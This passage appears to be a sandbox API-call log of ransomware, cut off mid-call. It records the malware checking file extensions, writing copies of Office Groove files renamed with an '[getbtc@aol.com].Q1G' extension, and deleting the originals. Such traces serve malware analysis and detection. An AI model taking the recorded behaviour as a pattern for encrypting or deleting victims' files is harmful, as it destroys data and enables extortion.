[0264.620] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.620] lstrlenW (lpString=".bz2") returned 4 [0264.620] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.620] lstrlenW (lpString=".7z") returned 3 [0264.620] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.620] lstrlenW (lpString=".dbf") returned 4 [0264.620] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.621] lstrlenW (lpString=".1cd") returned 4 [0264.621] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.621] lstrlenW (lpString=".jpg") returned 4 [0264.621] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.621] lstrlenW (lpString=".doc") returned 4 [0264.621] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.621] lstrlenW (lpString=".docx") returned 5 [0264.621] lstrcmpiW (lpString1=".docx", lpString2="r.fdt") returned -1 [0264.621] lstrlenW (lpString=".pdf") returned 4 [0264.621] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.621] lstrlenW (lpString=".xls") returned 4 [0264.621] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.621] lstrlenW (lpString=".xlsx") returned 5 [0264.621] lstrcmpiW (lpString1=".xlsx", lpString2="r.fdt") returned -1 [0264.621] lstrlenW (lpString=".ppt") returned 4 [0264.621] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.621] lstrlenW (lpString=".zip") returned 4 [0264.621] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.621] lstrlenW (lpString=".rar") returned 4 [0264.621] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.621] lstrlenW (lpString=".bz2") returned 4 [0264.621] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.621] lstrlenW (lpString=".7z") returned 3 [0264.621] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.621] lstrlenW (lpString=".dbf") returned 4 [0264.621] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.621] lstrlenW (lpString=".1cd") returned 4 [0264.621] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.621] lstrlenW (lpString=".jpg") returned 4 [0264.622] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.622] lstrcmpiW (lpString1=".fdt", lpString2=".Q1G") returned -1 [0264.622] lstrlenW (lpString="Hiring Requisition.fdt") returned 22 [0264.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.623] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=149723) returned 1 [0264.623] CloseHandle (hObject=0x3c4) returned 1 [0264.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt")) returned 0x20 [0264.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.623] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.623] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.624] GetLastError () returned 0x0 [0264.624] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x248db, lpOverlapped=0x0) returned 1 [0264.799] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x248e0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x248e0, lpOverlapped=0x0) returned 1 [0264.802] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.802] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x100, lpOverlapped=0x0) returned 1 [0264.802] SetEndOfFile (hFile=0x3a8) returned 1 [0264.846] CloseHandle (hObject=0x3a8) returned 1 [0264.847] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.847] SetEndOfFile (hFile=0x3c4) returned 1 [0264.852] CloseHandle (hObject=0x3c4) returned 1 [0264.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt")) returned 1 [0264.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.857] lstrlenW (lpString=".doc") returned 4 [0264.857] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.857] lstrlenW (lpString=".docx") returned 5 [0264.857] lstrcmpiW (lpString1=".docx", lpString2="n.fdt") returned -1 [0264.857] lstrlenW (lpString=".pdf") returned 4 [0264.857] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.857] lstrlenW (lpString=".xls") returned 4 [0264.857] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.857] lstrlenW (lpString=".xlsx") returned 5 [0264.857] lstrcmpiW (lpString1=".xlsx", lpString2="n.fdt") returned -1 [0264.857] lstrlenW (lpString=".ppt") returned 4 [0264.857] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.857] lstrlenW (lpString=".zip") returned 4 [0264.857] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.857] lstrlenW (lpString=".rar") returned 4 [0264.857] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.858] lstrlenW (lpString=".bz2") returned 4 [0264.858] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.858] lstrlenW (lpString=".7z") returned 3 [0264.858] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.858] lstrlenW (lpString=".dbf") returned 4 [0264.858] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.858] lstrlenW (lpString=".1cd") returned 4 [0264.858] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.858] lstrlenW (lpString=".jpg") returned 4 [0264.858] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.858] lstrlenW (lpString=".doc") returned 4 [0264.858] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.858] lstrlenW (lpString=".docx") returned 5 [0264.858] lstrcmpiW (lpString1=".docx", lpString2="n.fdt") returned -1 [0264.858] lstrlenW (lpString=".pdf") returned 4 [0264.858] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.858] lstrlenW (lpString=".xls") returned 4 [0264.858] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.858] lstrlenW (lpString=".xlsx") returned 5 [0264.858] lstrcmpiW (lpString1=".xlsx", lpString2="n.fdt") returned -1 [0264.858] lstrlenW (lpString=".ppt") returned 4 [0264.858] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.858] lstrlenW (lpString=".zip") returned 4 [0264.858] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.858] lstrlenW (lpString=".rar") returned 4 [0264.858] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.858] lstrlenW (lpString=".bz2") returned 4 [0264.858] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.858] lstrlenW (lpString=".7z") returned 3 [0264.858] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.858] lstrlenW (lpString=".dbf") returned 4 [0264.859] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.859] lstrlenW (lpString=".1cd") returned 4 [0264.859] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt") returned 119 [0264.859] lstrlenW (lpString=".jpg") returned 4 [0264.859] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.859] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.859] lstrlenW (lpString="VIEW.ICO") returned 8 [0264.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.860] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=318) returned 1 [0264.860] CloseHandle (hObject=0x3c4) returned 1 [0264.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.ico")) returned 0x20 [0264.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.862] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.862] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.868] GetLastError () returned 0x0 [0264.868] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x13e, lpOverlapped=0x0) returned 1 [0264.869] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x140, lpOverlapped=0x0) returned 1 [0264.870] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.870] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0264.870] SetEndOfFile (hFile=0x3a0) returned 1 [0264.870] CloseHandle (hObject=0x3a0) returned 1 [0264.870] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.870] SetEndOfFile (hFile=0x3a8) returned 1 [0264.872] CloseHandle (hObject=0x3a8) returned 1 [0264.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.ico")) returned 1 [0264.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.874] lstrlenW (lpString=".doc") returned 4 [0264.874] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.874] lstrlenW (lpString=".docx") returned 5 [0264.874] lstrcmpiW (lpString1=".docx", lpString2="W.ICO") returned -1 [0264.874] lstrlenW (lpString=".pdf") returned 4 [0264.874] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.874] lstrlenW (lpString=".xls") returned 4 [0264.874] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.874] lstrlenW (lpString=".xlsx") returned 5 [0264.874] lstrcmpiW (lpString1=".xlsx", lpString2="W.ICO") returned -1 [0264.874] lstrlenW (lpString=".ppt") returned 4 [0264.874] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.874] lstrlenW (lpString=".zip") returned 4 [0264.874] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.874] lstrlenW (lpString=".rar") returned 4 [0264.874] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.874] lstrlenW (lpString=".bz2") returned 4 [0264.874] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.874] lstrlenW (lpString=".7z") returned 3 [0264.874] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.874] lstrlenW (lpString=".dbf") returned 4 [0264.874] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.874] lstrlenW (lpString=".1cd") returned 4 [0264.874] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.874] lstrlenW (lpString=".jpg") returned 4 [0264.874] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.874] lstrlenW (lpString=".doc") returned 4 [0264.874] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.874] lstrlenW (lpString=".docx") returned 5 [0264.875] lstrcmpiW (lpString1=".docx", lpString2="W.ICO") returned -1 [0264.875] lstrlenW (lpString=".pdf") returned 4 [0264.875] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.875] lstrlenW (lpString=".xls") returned 4 [0264.875] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.875] lstrlenW (lpString=".xlsx") returned 5 [0264.875] lstrcmpiW (lpString1=".xlsx", lpString2="W.ICO") returned -1 [0264.875] lstrlenW (lpString=".ppt") returned 4 [0264.875] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.875] lstrlenW (lpString=".zip") returned 4 [0264.875] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.875] lstrlenW (lpString=".rar") returned 4 [0264.875] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.875] lstrlenW (lpString=".bz2") returned 4 [0264.875] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.875] lstrlenW (lpString=".7z") returned 3 [0264.875] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.875] lstrlenW (lpString=".dbf") returned 4 [0264.875] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.875] lstrlenW (lpString=".1cd") returned 4 [0264.875] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned 91 [0264.875] lstrlenW (lpString=".jpg") returned 4 [0264.875] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.875] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.875] lstrlenW (lpString="ALERT.ICO") returned 9 [0264.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\alert.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0264.884] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2606) returned 1 [0264.884] CloseHandle (hObject=0x37c) returned 1 [0264.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\alert.ico")) returned 0x20 [0264.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\alert.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\alert.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0264.884] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.884] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\alert.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.892] GetLastError () returned 0x0 [0264.892] ReadFile (in: hFile=0x37c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xa2e, lpOverlapped=0x0) returned 1 [0264.912] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xa30, lpOverlapped=0x0) returned 1 [0264.913] ReadFile (in: hFile=0x37c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.913] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0264.913] SetEndOfFile (hFile=0x1f8) returned 1 [0264.913] CloseHandle (hObject=0x1f8) returned 1 [0264.913] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.913] SetEndOfFile (hFile=0x37c) returned 1 [0264.915] CloseHandle 